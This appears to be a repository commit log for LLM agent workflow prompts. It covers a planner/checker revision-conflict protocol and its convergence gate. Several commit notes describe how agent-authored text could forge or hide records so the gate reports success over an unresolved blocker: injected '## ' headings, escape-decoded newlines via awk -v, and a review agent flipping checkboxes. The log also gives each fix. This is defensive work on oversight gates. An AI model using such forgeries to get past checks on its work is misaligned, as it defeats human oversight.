retry-budget consumption. Also pins what must not have been weakened — blockers, severity gating, iteration caps and stall escalation. Red against the pre-fix prose: 32 of 34 assertions fail (the 2 that pass are the preservation checks, correctly). Refs #3771 * chore(#3771): add changeset fragment for the remediation-binding fix * chore(#3771): acknowledge the remediation-binding growth Five runtime-loaded files grow: the two checkers carry the binding/advisory split where the model reads it (a `required_property` on every dimension example, since a schema the examples contradict teaches the examples), and the three orchestrators carry the REVISION_CONFLICT route, which has to live with the `iteration_count`/`revision_count` state it declines to spend. Deletes tests/emitted-drift-acks/3172-stated-failing-direction.json: it is fully spent on next and still owned plan-phase.md, so it walls off a key it can no longer clear (#3078). Its removal is the documented remedy for the duplicate-key collision, not drive-by cleanup. * fix(#3771): close the review gaps in the conflict contract Adversarial review (Codex, Antigravity) found four real defects in the first pass, each confirmed against the source before acting: - The UI checker's structured return still ordered `Fix: {exact fix required}` and "list each BLOCK dimension with exact fix required". The dimension examples had been marked non-binding but the rendering the researcher actually reads had not — the same omission this issue is about. - `ui-phase` and the canonical `revision-loop` flow incremented their counter BEFORE dispatching the reviser, so "do NOT increment on REVISION_CONFLICT" was unreachable prose: the iteration was already spent. The increment now sits on the return path in both. - The conflict gate offered "accept as-is", which is an early exit from a still-failing blocker — a weakening the brief explicitly forbids. The three options are now adopt an alternative / override the constraint / amend the constraint; every one resolves the conflict. Accepting an unaddressed blocker remains available only at the unchanged iteration-cap escalation. - The convergence route was declarative: nothing in plan-review-convergence.md could receive a conflict. plan-phase now records it in REVIEWS.md — the channel that loop already consumes — convergence refuses to declare convergence over an open entry, and routing back into a run convergence itself started is explicitly excluded as a cycle. `quick` has no REVIEWS.md and no phase, so its convergence branch was dead prose and is deleted in favour of asking the user. Also reconciles the last two drifted field names (`finding`, `affected_field`) to the plan-checker schema, and repairs a silent no-op: the few-shot `required_property` insertion never applied because those lines are blockquoted, and the test's own block filter was anchored on indentation only, so a vacuous loop passed over zero blocks. Both are fixed and the filter now asserts it found blocks. Refs #3771 * chore(#3771): extend the growth acknowledgment for the review round plan-review-convergence.md joins the list: the conflict route needed a receiving end, and it lands on the seam that loop already reads (REVIEWS.md) rather than a new mechanism. The plan-phase, ui-phase and gsd-ui-checker entries gain the second-pass reasoning — an executable convergence branch, the increment moved onto the return path, and the structured return that still ordered an exact fix. * fix(#3771): make the conflict route bounded, ordered, and owned Round-2 adversarial review found five more defects, each confirmed in the source before acting: - The convergence gate sat AFTER `gsd_run state planned-phase` and the success banner, so a run could write and announce convergence over an unresolved conflict. OPEN_CONFLICTS is now read from REVIEWS.md and is part of the converged CONDITION, evaluated before any write. - plan-phase's cycle-exclusion ("unless this run was invoked by convergence") was not a question the orchestrator can answer at runtime. plan-phase now never invokes convergence at all — it records the conflict when a phase REVIEWS.md exists and resolves it with the user in-place, which removes the cycle instead of describing it. - Closure had no owner. plan-phase writes the row, so plan-phase strikes it resolved; convergence only reads. An open row is a live blocker, never a stale artifact. - Declining to increment the counter removed the only bound on the conflict path: an agent returning the same conflict forever would loop unattended. A conflict naming the same `required_property` twice in a row is now a stall and escalates through the existing gate. - verify-work's gap-plan revision loop hands `<revision_context>` to gsd-planner and so inherits the whole contract, but stated none of it and could not handle the conflict return. It is now covered like the others, and is in the test's orchestrator table. Refs #3771 * chore(#3771): acknowledge the round-2 growth verify-work.md joins the list — the flow the second review found missed — and the plan-phase, ui-phase and plan-review-convergence entries gain the round-2 reasoning: the gate moved ahead of the state write, the convergence hand-off replaced with a runtime-checkable record-and-resolve, and the recurrence bound that replaces the counter the conflict path stopped spending. * fix(#3771): make the convergence gate countable and stop the conflict fall-through Third adversarial round (Antigravity) found three defects: - The OPEN_CONFLICTS pipeline had no `grep -v '~~'` despite its own comment claiming one, and `grep -c '^\| '` also counts a markdown table's header and separator rows — every resolved conflict would have read as open and convergence would have deadlocked instead of converging. plan-phase now records each conflict as a `- [ ]` checklist line and flips it to `- [x]`, so the gate is an exact fixed-string match with no table parsing. - "then continue below" fell through to the checker spawn, so a SECOND REVISION_CONFLICT would have been handed to the checker as though it were a revised plan. plan-phase, quick and verify-work now re-evaluate the return from the top of the conflict handler; ui-phase already looped back. - revision-loop.md still described plan-phase routing a conflict to the convergence loop instead of asking — the behaviour round 2 removed. Recording is now stated as being in addition to asking, never instead of it. Refs #3771 * chore(#3771): bring the changeset in line with what shipped Two review rounds widened the change after the fragment was written: verify-work's gap-plan revision and the convergence loop are covered, two more drifted field names are reconciled, and the conflict path carries an explicit recurrence bound. * fix(#3771): declare and emit the REVISION_CONFLICT marker check:contract-drift on CI caught what local lint never reached: four workflows dispatch on `## REVISION_CONFLICT`, but no agent declared or emitted it — an orphan consumer, matching a marker nothing produces. The shared reference (planner-revision.md Step 7b) described the return; the agent definitions did not carry it. gsd-planner and gsd-ui-researcher now emit the marker in-fence alongside their other return markers, and both registry rows in agent-contracts.md declare it. gsd-planner's Consumed by gains the two workflows that dispatch on it and were missing from the row. The gate is right: a return contract belongs where the agent is defined, not only in a reference the agent happens to load. Refs #3771 * chore(#3771): acknowledge the return-marker growth gsd-planner.md and gsd-ui-researcher.md each gain the REVISION_CONFLICT marker that check:contract-drift requires them to emit. * fix(#3771): hoist the shared conflict protocol out of the workflows Two CI failures, both correct gates: - tests/few-shot-calibration.test.cjs pins the plan-checker calibration file at exactly 4 examples (2 positive, 2 negative). The example added in the first pass broke that balance — and described PLANNER behaviour in the CHECKER's calibration set, which is the wrong surface for it. Removed; the smaller-alternative rule is already normative in gsd-plan-checker.md and planner-revision.md, and pinned by the regression suite. - tests/phase6-capstone-conformance.test.cjs (ADR-857 phase 6, #1168) requires plan-phase.md to stay BELOW its pre-phase-6 baseline of 94519 bytes. The inline conflict block pushed it to 94988. The fix for the second is the one that should have been made first: the record/resolve/close protocol and the recurrence bound were identical in four workflows, and revision-loop.md — which plan-phase already @-imports — is what a shared contract is for. The protocol now lives there once; plan-phase states only its bindings (which counter, which artifact, which next step) and points at it. plan-phase.md: 94988 -> 92739, under the ratchet with headroom, and the four-way duplication is gone. quick, ui-phase and verify-work do not import the reference, so they keep their inline statements. The suite asserts each rule against what the runtime actually loads for that orchestrator, not against the file in isolation. Refs #3771 * docs(#3771): state the shared-protocol relationship accurately Three of the four revision-bearing workflows do not @-import revision-loop.md, so 'follows it verbatim' overstated the coupling. Only plan-phase defers; the others restate the rules inline and this section is the authority they must agree with. * refactor(#3771): name the authority instead of restating it four times Self-review finding: the same ~700-byte reviser paragraph was inlined in four prompts while gsd-planner already loads planner-revision.md whenever <revision_context> is present (agents/gsd-planner.md:555, :588) — a fifth copy of the same contract. Four places to edit in lockstep is precisely the drift class this PR exists to fix; the generic pattern calling the field suggested_fix while the checker emitted fix_hint is what that looks like after a year. Each prompt now carries only the load-bearing clauses and names the authority it summarises. Deliberately NOT reduced to a bare pointer: these are LLM prompts, and a contract stated only in a file the reader is supposed to fetch is the failure mode of this very bug. The saving is modest (~50 bytes each) — the point is the named source of truth, not the bytes. Suite: dropped seven assertions that pinned heading text and bold-lead phrasing a reword would break without changing what the runtime is told; their neighbours already pin the same contract by content. 519 -> 499 lines, 61 tests. Red gate against origin/next: 56 of 61 fail. Refs #3771 * fix(#3771): sanitize agent-authored conflict text and bound total conflicts Cross-AI review (agy/Gemini) raised two security findings. I confirmed the first by running the gate's own awk against a crafted file and reproduced it exactly; the second is a real hole in my bound. 1. FAIL-OPEN in the convergence gate. The conflict text is agent-authored and is appended to REVIEWS.md, which the gate scans with an awk that stops at the next '## ' heading. One line of agent text beginning '## ' ends that scan early, so conflicts below it are never counted and convergence declares success over a live blocker. Measured: 3 open conflicts, awk returned 2. Fixed at the write boundary, which is the trust boundary: every field has newlines and tabs collapsed to spaces and a leading '#', '-', '\|' or fence stripped, so one conflict is exactly one line. Both producing agents now declare their fields single-line plain text, and the reader states the invariant it depends on so a later edit cannot silently break it. Verified: 3 open + 1 resolved now counts 3; missing file and absent section count 0. 2. The recurrence bound was 'same required_property twice in a row', which an agent alternating property names never trips, leaving the un-incremented conflict path unbounded. Now bounded twice: the repeat rule catches the common case, and the THIRD conflict return of a loop escalates whatever property it names. A conflict still never consumes a revision iteration; this cap is separate from and additional to the revision cap. Rejected from the same review: deleting 'a planner that reaches required_property by a smaller or different mechanism has addressed the issue in full' from the CHECKER prompt as misplaced. It is load-bearing exactly there. A checker that does not know a different mechanism counts will re-flag the issue on re-check, which is the revision loop that never terminates. The argument offered for deleting it, that the checker evaluates the new state independently, describes the failure mode. Refs #3771 * fix(#3771): fail closed on an unverifiable convergence gate Second cross-AI pass (agy, this time with the full files rather than the diff) found two more, both real: 1. The gate read REVIEWS_FILE with `2>/dev/null \|\| echo 0`, so an unreadable or empty path counted as ZERO open conflicts and converged. That path is resolved a few lines earlier by a pre-existing unquoted `ls ${phase_dir}/${padded_phase}-REVIEWS.md` (line 346, not touched by this PR), which yields an empty string rather than an error when the path contains a space. Unverifiable is not clean: the gate now tests -z and -r first and BLOCKS. Verified both branches. The unquoted ls itself is left alone deliberately — it predates this change and belongs to the reviews lookup, not the conflict gate. Fixing it at my own boundary removes its effect on this gate without widening scope. 2. REVIEWS.md is writable by the review agent, which could flip a `- [ ]` to `- [x]` or delete the section and forge the state of a blocking gate. The section now declares a single writer: /gsd:plan-phase appends and closes, every other agent leaves it byte-for-byte alone, readers read. Also trimmed a clause that explained the increment ordering by reference to what the file said before this PR. Commit history is not instruction, and these files are prompts. Rejected: the claim that quick's conflict gate deadlocks autonomous pipelines by asking the user. Its existing max-iteration escalation in the same file already asks the user the same way; this adds no new interaction class. Noted but out of scope: the per-dimension YAML example blocks and the shim boilerplate duplicated across agent prompts both predate this change. Refs #3771 * fix(#3771): count conflicts by line shape, not by section CodeRabbit review on the rehearsal PR. Five findings, all valid, all applied. The best one is a deletion. The convergence gate scanned between '## Plan-Revision Conflicts' and the next '## ' heading, and that scan stops at the FIRST heading it meets — so one stray '## ' line hid every conflict beneath it and returned 0, converging over a live blocker. Reproduced: section-scan 0, shape-scan 1. Sanitizing at the write boundary does not cover a hand-edited, legacy, or foreign-written REVIEWS.md, so the reader needed its own guarantee. It now matches the conflict line SHAPE anywhere in the file: grep -c '^- \[ \] .required_property:' No section bookkeeping, nothing a heading can truncate, and it composes with the writer's sanitization (which strips a leading '-' from agent text, so agent prose cannot forge the shape). Verified: injected heading -> 1, all resolved -> 0. The other four: - Both checkers told the author never to emit a contradictory fix_hint, then offered an escape hatch that put the forbidden route in the hint anyway. They now name NO route in that case and state only that the property conflicts with the constraint. A hint carrying a forbidden route is applied by anyone who trusts hints. - The REVISION_CONFLICT marker description in gsd-planner.md was narrower than planner-revision.md: it covered a contradictory hint but not an unreachable required_property. A planner reading only the agent file would have burned retry budget on the case the reference routes to a conflict. - The few-shot calibration examples used uppercase BLOCKER/INFO while the schema defines blocker/warning/info. Pre-existing, but it is the same schema-vs-example disagreement this PR exists to end, and the file was already being edited. - verify-work's re-entry instruction existed but sat after the Bounded clause, so the paragraph read "re-spawn ... stop re-spawning ... after re-spawning". The re-entry now immediately follows the re-spawn, and states that only a non-conflict return may reach the checker or increment iteration_count. Refs #3771 fix(#3771): resolve the contradictory scope_sanity severity examples Sixth CodeRabbit finding, posted outside the diff range and missed on my first read — I had claimed all findings were addressed after reading only the five inline comments. This one was in the review body. agents/gsd-plan-checker.md carried TWO scope_sanity examples with identical metrics (5 tasks, 12 files) and OPPOSITE severities: warning in Dimension 5, blocker in <examples>. Line 872 states "2-3 tasks/plan good, 4 warning, 5+ blocker" and the severity table lists warning as "Scope 4 tasks (borderline)", so the warning example contradicted both. ADR-2629 Decision 5's "over budget is a WARNING, never a blocker" does not excuse it: that rule governs the smart-zone TOKEN estimate (the estimate-check verb, lines 299-306), which is a different axis from task count. Verified in source before touching it. The contradiction is pre-existing but this PR made it binding and visible: severity is now declared part of the binding payload, and both examples were given the same required_property, so they now disagree on the severity of an identical finding about an identical property. Deviating from the proposed correction, which was warning -> blocker: that would duplicate the <examples> entry outright (same tasks, files, severity). The Dimension 5 example is instead made a genuine 4-task borderline warning, so the file keeps one worked example per severity and the thresholds, the severity table and both examples finally agree. Refs #3771 * fix(#3771): stop laundering a grep error into zero open conflicts Seventh CodeRabbit finding — from a SECOND review round my own CR-4 push triggered, which I had not looked for. This one is a regression I introduced while fixing the previous fail-open. CR-4 replaced the truncatable section scan with: OPEN_CONFLICTS=$(grep -c '^- \[ \] .required_property:' "$REVIEWS_FILE" \|\| true) `\|\| true` masks every grep failure. grep exits 1 for "no matches" (a legitimate zero) but 2 for a read error, and `\|\| true` turns both into an empty capture that `${OPEN_CONFLICTS:-0}` renders as 0. If REVIEWS.md is removed or becomes unreadable between the -r check and the scan, the gate reports no conflicts and convergence proceeds. Proven: unreadable file -> captured empty -> 0. The status is now inspected, and only exit 1 counts as zero; anything else blocks. My first attempt at this fix was itself wrong and my own harness caught it: I wrote `if ! grep ...; then grep_status=$?`, but `!` inverts the status, so `$?` in that branch is 0 and every failure reads as success — the clean-file case printed "BLOCKED (grep exit 0)". The status must be read in the ELSE branch of a non-negated `if`, which is what CodeRabbit proposed. Both traps are now pinned by tests. Verified end to end: all resolved -> 0, no conflicts at all -> 0, injected heading -> 1, unreadable file -> BLOCKED with grep exit 2. Refs #3771 test(#3771): execute the conflict gate instead of reading it CodeRabbit round three: 0 actionable, 1 nitpick — "these assertions inspect Markdown source only; they do not prove that grep status 1 produces zero conflicts or that a scan error exits before convergence." Rated Trivial. It is the most valuable finding of the three rounds. This gate has been wrong three times: a section scan a heading could truncate, a `\|\| true` that laundered grep's error status into zero, and an `if !` whose `$?` reported the negation rather than the command. Every one of those passed the text assertions that existed at the time. I proved each fix by hand in a shell, and none of that proof lived in the suite. The gate is one self-contained fenced block, so the test now extracts it from the workflow — located by content, not line number — writes it to a script and RUNS it against fixtures: two open plus one resolved counts 2; no matches counts 0 and does not fail; a conflict below an injected `## ` heading still counts; an unreadable path and an empty path both BLOCK with a non-zero status and no zero count on stdout. Non-vacuity proven by mutation rather than asserted. Reverting the gate to each of its three historical broken forms reds the suite: section-scan awk -> 7 failures (5 in the gate cases) \|\| true -> 4 failures (3 in the gate cases) if ! (negated $?) -> 4 failures (3 in the gate cases) restored -> 69 pass, 0 fail The prose assertions stay: they are the right instrument for a prompt. This covers the one part of the change that is real shell an orchestrator executes. Refs #3771 * test(#3771): route the gate harness through the shared test helpers ESLint's project rules caught three violations in the new harness: an unbounded execFileSync (DEFECT.UNBOUNDED-SUBPROCESS — an unbounded spawn is an indefinite hang, and on macOS CI that is how a stuck run stops reporting instead of failing) and two raw fs.rmSync calls, which skip the Windows-EBUSY retry budget that helpers.cleanup carries. Now uses createTempDir/cleanup from tests/helpers.cjs and passes an explicit 30s timeout. Suppressing the rules was available and would have been the wrong call: both exist because of real CI failure modes on platforms I am not testing on. * chore(#3771): backfill the changeset PR number The pr: field is drift-checked against the PR event payload, so it cannot be written before the PR exists. Set to 3916. * fix(#3771): close revision conflict persistence gaps Use the authoritative review artifact, keep conflict and normal retry paths disjoint, and enforce one writer-reader grammar so malformed state fails closed.

No eslint rule catches it since the call has neither a chmod nor a `bash -c` form. Guards the four call sites with the repo's existing skipOnWin32 convention (describe/test `{ skip: IS_WINDOWS }`) rather than normalizing the harness path to forward slashes, which would defeat the one test whose purpose is proving the production gate does NOT rewrite a literal backslash in a POSIX filename. * fix(#3916): backfill changeset pr field to the fork validation PR number * fix(#3771): forbid silently accepting an open plan-revision conflict at max-cycles escalation The max-cycles escalation prompt only surfaced HIGH_COUNT and ACTIONABLE_COUNT; an open plan-revision conflict (OPEN_CONFLICTS > 0) was never disclosed there, and "Proceed anyway" could exit successfully over it — exactly the failure mode this PR exists to close (a success banner over an unresolved conflict nobody resolved). Blockers still block: withhold "Proceed anyway" and route to Manual review whenever a conflict is open. * fix(#3771): do not hard-block REVISION_CONFLICT persistence when no REVIEWS.md exists yet A phase's first-ever revision cycle can return REVISION_CONFLICT before any REVIEWS.md has been written — REVIEWS_PATH is then legitimately empty, not a corrupt or deleted file. The persistence gate's own accompanying prose already says the record channel applies 'when REVIEWS_FILE is non-empty', but the bash condition never checked that, so it hard-blocked every conflict on a brand-new phase regardless of whether persistence was even expected to run. Require a non-empty REVIEWS_FILE before treating a missing file as an error. * chore(#3771): raise the plan-phase.md ADR-857 host-loop ceiling to 96700 The frozen pre-phase-6 ceiling (94519) collided on rebase: this PR's own REVISION_CONFLICT persistence/routing gate is core planner control flow, not an un-extracted optional feature, and landed alongside an unrelated, already-merged same-file growth (the #4.6 context-drift pre-check) already on next. Same rationale #1298 already established for execute-phase.md's ceiling. * chore(#3916): backfill changeset pr field to the upstream PR number * fix(#3771): make the writer-side REVISION_CONFLICT sanitize step real shell The Conflict Return record channel sanitized agent-authored fields via a prose instruction ("Sanitize each agent-authored field before appending") for the orchestrator LLM to apply by hand, while the reader-side gate in plan-review-convergence.md parses the same slot with real, executed awk. Flagged Minor across two review rounds (round 4, round 6) since no code performed the sanitize anywhere. plan-phase.md's Conflict Return step now runs a real bash gate: sanitize each field (collapse newline/tab to space, strip a leading #/-/\|/fence), build the one-line record, skip the append if an identical line already exists (idempotent), insert before the writer-owned end delimiter, and fail closed if that delimiter is missing rather than silently dropping the conflict. tests/revision-remediation-binding.test.cjs extracts and RUNS the new fence (matching how the reader gate is already tested), composing it with the existing reader gate: hostile-field fast-check fuzzing, a repeated-conflict idempotency check, and a missing-delimiter fail-closed check that the file is left byte-for-byte unchanged on failure. Emitted-Drift-Ack-Growth: plan-phase.md — #3916 turns the writer-side REVISION_CONFLICT sanitize+insert step into real, executed shell instead of a prose instruction, matching the reader gate's existing rigor * fix(#3916): backfill changeset pr field to the fork validation PR number Fork CI's changeset-lint reads the real PR number from its own event payload; the fragment still carried the upstream number from the last sync, so the DEFECT.CHANGESET-PR-FIELD-DRIFT check failed on this fork PR. Re-backfill to the upstream number before the final push. * fix(#3771): close the awk -v forgery and same-session close gaps agy found Adversarial review (gemini-3.8-flash-high via the internal agy review lane) on the full PR found two BLOCKERs against the just-added writer-side conflict gate: 1. `awk -v line="${LINE}"` decodes escape sequences in its argument, so a literal two-character `\n` in agent-authored text became a real newline inside awk, splitting the appended record across two physical lines. `tr` only strips actual control bytes, so it never saw this — it defeated the exact forgery the gate exists to prevent, both the reader's zero-count and the writer's own idempotency check. Fixed by passing LINE/END through awk's ENVIRON, which is not escape-decoded. 2. A conflict resolved and re-spawned within the same plan-phase session was never flipped from `- [ ]` to `- [x]` — the record channel bullet said "plan-phase closes it," but no step did. Only a separate `--reviews` re-entry (line ~622, still prose-only) closes conflicts; the in-session resolve path left them open forever, permanently blocking convergence. Fixed by carrying the just-written line in `PENDING_CONFLICT` and closing it in the `Otherwise` branch before the checker re-spawns. Also fixed a MAJOR: docs/COMMANDS.md described the `--max-cycles` escalation gate as uniformly offering "proceed or review manually," but the code (this PR's own change) withholds "Proceed anyway" specifically when a plan-revision conflict is open — only manual review is offered in that case. Docs now say so. Not applied: the reviewer's `\r` truncated to plain tr from a MINOR that also asked for temp-file permission preservation across `mktemp`. Applying `chmod --reference` is not portable to macOS/BSD `chmod`, so this is left as a documented low-severity tradeoff — the temp file now sits alongside REVIEWS.md (same filesystem, atomic `mv`), which was the same finding's more substantive half. Also not applied: a suggested `gsd_run review record-conflict` CLI subcommand to deduplicate the two `awk` blocks — a new command plus wiring is out of scope for a review-remediation fix. tests/revision-remediation-binding.test.cjs adds regression coverage for both BLOCKERs: a literal-backslash-n hostile field composed with the reader gate, and a close-gate extraction that verifies the flip to `[x]`, the reader's count dropping to 0, and a fail-closed path when the pending line is missing. Emitted-Drift-Ack-Growth: plan-phase.md — #3916 fixes an awk -v escape- decoding forgery and adds the missing same-session conflict-close step an adversarial review found in the writer-side gate * chore(#3916): backfill changeset pr field to the upstream PR number Fork-validation CI needed pr: 1 to pass its own changeset-lint; restore pr: 3916 before this push reaches open-gsd/gsd-core. * fix(#3771): trim plan-phase.md prose back under the XL byte cap Merging origin/next's unrelated growth pushed plan-phase.md 473 bytes past the workflow-size-budget XL cap and the ADR-857 phase-6 baseline, both tripped by CI after review approval.

Will not be carried onto the branch backing upstream #3916 — that keeps pr: 3916. * fix(#3771): address CodeRabbit findings on the REVISION_CONFLICT protocol Fork rehearsal PR #25's first CodeRabbit pass surfaced 7 findings against the already-approved #3916 diff; each verified against current code before fixing (none hallucinated): - plan-phase.md: writer-side awk gates now strip a trailing \r before comparing lines, matching the reader gate (plan-review-convergence.md) -- a CRLF REVIEWS.md previously made both writer gates fail closed. - plan-phase.md: the close-fence's REVIEWS_FILE/PENDING_CONFLICT/ CONFLICT_RESOLUTION were read without ever being (re)defined in that fence -- shell state does not survive across separate fenced blocks (same convention already documented in review.md). Added the explicit recompute/set instruction. - revision-loop.md: previous_conflict_property was never reset after a normal (non-conflict) revision, so a later, unrelated conflict on the same property could be misread as a repeat and escalate prematurely. - gsd-plan-checker.md / few-shot-examples/plan-checker.md: two example required_property strings were unconditionally binding in a way their own dimension's rules aren't (no-analog RESEARCH.md fallback; tasks that create no functions), now scoped to match. - quick/steps/plan-checker-loop.md: added the same disjoint "Otherwise (not REVISION_CONFLICT)" branch plan-phase.md already had, closing an ambiguity between the conflict and non-conflict return paths. - revision-remediation-binding.test.cjs: the REVIEWS_PATH init-order assertion used indexOf() without checking for -1, so it would pass vacuously if either anchor were renamed away. Also restores an "Export the row's CONFLICT_" instruction I had cut in the prior byte-budget trim -- checked non-pinned by tests, but it was the only text telling the agent to set those vars before the awk block reads them via ENVIRON. Net growth from these fixes required reclaiming bytes elsewhere in plan-phase.md (verified against every pinned substring in revision-remediation-binding.test.cjs) to stay under the XL tier's hard 98304-byte cap; final size 98245 bytes. fix(#3771): resync the #4079 shrink-only mirror to the current PRE_PHASE6 line tests/plan-phase-background-wait-wakeup.test.cjs (landed on next via an unrelated #4079 PR, merged in by this branch's next-sync) mirrored plan-phase.md's phase6 shrink-only ceiling as a hardcoded local constant (94519) rather than reading tests/phase6-capstone-conformance.test.cjs's PRE_PHASE6 value. That value has since been legitimately raised twice during this PR's own review (94519 -> 96700 -> 98300) to accommodate the REVISION_CONFLICT persistence/routing gate. The two branches' independent histories left the mirror stale post-merge -- not a textual git conflict, but the same class of thing. Resynced to 98300. * fix(#3771): address round-2 CodeRabbit findings on the conflict gates CodeRabbit's re-review of the previous remediation commit found two real issues in what it had already flagged: - Both writer-side awk CRLF fixes used \`sub(/\r$/, "")\` directly on \`\$0\`, which mutates it in place -- \`{ print }\` then emitted the CR-stripped copy for every passed-through line, silently rewriting an unrelated CRLF REVIEWS.md to LF on any insert or close. Now compares against a separate \`cur\` copy and prints the original, untouched \`\$0\`. - The close-fence's "recompute REVIEWS_FILE/PENDING_CONFLICT" prose implied in-fence derivation, but the fence has no such code and the test harness (\`runCloseGate\`) deliberately supplies all three as pre-set env vars -- matching how the open fence's "Export the row's CONFLICT_" instruction already works. Reworded to "export ... in the same invocation", matching that established, test-verified pattern instead of promising logic that isn't there. Added a regression test proving the CRLF fix no longer touches passthrough lines (red against the mutate-in-place version, green now). fix(#3771): use a CRLF-safe check in the new passthrough regression test local/no-crlf-fragile-split forbids splitting readFileSync content on a literal \n (Windows git-autocrlf checkouts yield \r\n). My CRLF passthrough-preservation test from the previous commit did exactly that to inspect the first line. Replaced with a direct startsWith() check against the known CRLF-terminated header, which needs no split. * test(#3771): assert the record itself is inserted in the CRLF passthrough test CodeRabbit nitpick (round 3): the passthrough-preservation test checked gate status and the pre-existing line's CRLF ending, but never asserted the new REVISION_CONFLICT record was actually written. * fix(#3771): address agy/gemini-3.8-flash-high adversarial review findings Full-PR adversarial review (internal /gsd-review antigravity lane, gemini-3.8-flash-high) surfaced 9 findings; each verified against current code before fixing (none hallucinated): HIGH: - quick-batch/steps/plan-checker-loop.md never received the required_property/fix_hint binding language or REVISION_CONFLICT handling this PR added everywhere else -- a genuinely unmigrated producing context. Migrated to match quick/steps/plan-checker-loop.md, and added it to the ORCHESTRATORS consistency battery in revision-remediation-binding.test.cjs so future drift is caught automatically. - The close-fence's PENDING_CONFLICT was an agent-supplied env var that had to exactly reconstruct a five-field sanitized line across a multi-minute subagent dispatch -- fragile, and a scalar var also meant a second simultaneous conflict silently dropped the first on overwrite. Redesigned to match the open conflict by CONFLICT_DIMENSION/ CONFLICT_PLAN identity instead: the agent re-supplies two short, already-tracked identifiers rather than reconstructing the full sanitized text, and each conflict resolves independently regardless of how many are open. Updated the test harness's runCloseGate contract to match, and added a two-open-conflicts regression test. MEDIUM: - plan-phase.md's `--reviews` replanning path told the reader to "flip the matching line to [x]" in prose only, with no executable path to it -- pointed it at the same close gate used in step 12. - plan-review-convergence.md's reader-gate awk tolerated a blank line before the opening delimiter but not before the heading that follows it; a formatter or LLM writer inserting one would hard-abort convergence on an otherwise well-formed REVIEWS.md. Added the same tolerance already granted above it, with a regression test. LOW: - Clarified that the escalation destination for a stalled conflict is the same iteration/revision-count cap gate already defined in each of quick, quick-batch, ui-phase, and verify-work, rather than an undefined "stall" concept. - Clarified "twice in a row" means no successful revision intervened, matching revision-loop.md's now-explicit previous_conflict_property reset. - Fixed gsd-ui-researcher.md's stale rationale text, copied verbatim from planner-revision.md: ui-phase presents the conflict table directly to the user, it does not persist to a shared file scanned by heading. Net growth again required reclaiming bytes in plan-phase.md (verified against every pinned substring in revision-remediation-binding.test.cjs) to stay under the XL tier's hard 98304-byte cap; removed a now-dead PENDING_CONFLICT assignment in the process. Final size 98258 bytes. * fix(#3771): scope row 48's quick/steps guard away from plan-checker-loop.md tests/gsd-quick-batch-quick-regression.test.cjs's row 48 (#3676) flagged this branch's quick-batch/steps/plan-checker-loop.md migration (the agy HIGH finding) as a violation, because it also edits quick/steps/plan-checker-loop.md for the same underlying #3771 protocol fix. Verified against git history before scoping: `2f64e6230` (#3676's own landing commit) CREATED quick-batch/steps/plan-checker-loop.md as a new, independent 119-line file, never a call-site into quick/'s copy. Row 48's "shared primitives, never edits the ordinary quick command" premise was never about this specific file -- it was always meant to carry its own per-flow copy of whatever revision-loop contract applies, same as ui-phase.md/verify-work.md throughout this PR. This is the same false-positive class the row's own comments already document scoping away twice (#3730, #2529 round 40); excluded plan-checker-loop.md from its touched-quick-steps check with the same evidence trail. * chore(#3771): point changeset pr field at upstream PR 3916 --------- Co-authored-by: davdittrich <davdittrich@gmail.com> Co-authored-by: CI Rebase Check <ci@gsd-redux> Co-authored-by: Test <test@test.com> Co-authored-by: Tom Boucher <trekkie@nomorestars.com>	2026-09-05 15:16:38 -04:00

JusticeWay	0fca71eaae	enhance(#2529 ): cover every workflow with response-language directives + CI lint (#2558 ) * enhance(#2529): cover every workflow with response-language directives + CI lint Every workflow now carries response-language coverage in one of three forms, and a CI lint keeps it that way. - 43 workflows load the new shared reference, `gsd-core/references/response-language-directive.md`, by eager `@`-import. - Lazy-loaded modes/steps/templates, which cannot rely on an eager import, carry an exact inline directive; 35 such paths are pinned by exact path. - Fragments dispatched by a covered parent inherit coverage, proven per file rather than granted per directory. The 45 workflows whose directive covered only "questions, prompts, and explanations" now name inter-tool narration, which is the defect #2529 reports: the running commentary between tool calls stayed English while the answers around it were translated. `scripts/lint-response-language-coverage.cjs` enforces it and fails closed on three independent discovery failures (unreadable catalog, empty catalog, unfollowed symlink). It resolves which reference a workflow imports and applies the same four-predicate test to that file, so a weakened shared reference uncovers its importers instead of passing silently, reported once as a systemic failure rather than 43 times. The walk follows symlinked subtrees with a realpath cycle bound. `lint:ci` invokes it by name. REQ-LANG-03 and REQ-LANG-04 state the contract in docs/FEATURES.md; REQ-LANG-04 names the two forms that satisfy it ("narration", "between tool calls") rather than enumerating class members an author cannot use verbatim, and a test pins that text to what the matcher accepts. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2529): register the coverage test in the docs-guard lane `107eb8c1` (#3787) landed the docs-guard lane on `next` while this PR was open: a test that reads a `docs/` path must be named in `scripts/docs-guard-registry.cjs` or carry a `docs-guard-exempt` marker, so the guards that read a doc run on the PR that changes it. `tests/response-language-coverage.test.cjs` reads `docs/FEATURES.md` -- it extracts every form REQ-LANG-04 offers an author and runs each through the matcher that enforces it. Registration, not exemption, is the correct side of that gate: a reword of the requirement with no code change is precisely the diff this test exists to catch, and it is the diff the lane would otherwise skip. Registered narrowly (`['docs/FEATURES.md']`) rather than with the `''` sentinel, so an unrelated docs change does not pull this test into the lane. Verified: lint-docs-guard-registration 0 violations, tests/ci-docs-guard-registry.test.cjs 51/51, lint:ci exit 0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> chore(#2529): consolidate this PR's emitted-growth acks into its own fragment This PR ripples emitted bytes across 85 workflow paths. Until now each ripple was acknowledged by appending to whichever live fragment owned that path, because two ack sources may never name the same path. `a84f7563` (#3078) swept all 45 fully-spent fragments off `next`. Forty-two of the paths this PR grows were owned by swept fragments, so those keys are now unowned and this PR's own fragment declares them directly -- one path, one source, and no dependence on a fragment that no longer exists. Each adopted entry keeps its measurement and records where it came from. Two paths are handled differently, because the sweep did not free them: - `review.md` is now owned by `3034-parallel-reviewer-lanes.json`, which landed on `next` after the sweep. Its entry is live, so the old route still applies: this PR's note is appended to that entry rather than declared a second time. - `plan-review-convergence.md` keeps the arrangement made in round 24. Result: 3 fragments in the directory, 85 keys in this PR's own, 0 cross-source duplicates. `lint-emitted-drift-ack` exit 0, `tests/emitted-attribution.test.cjs` green. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2529): move REQ-LANG-03/04 into the feature fragment that now generates them `36375513` (#3845) made docs/FEATURES.md a generated projection of docs/features/.md, marked "do not edit by hand". This PR wrote REQ-LANG-03 and REQ-LANG-04 straight into the generated file, so the rebase left the requirement present in the projection and absent from its source -- the next regeneration would have deleted both, and 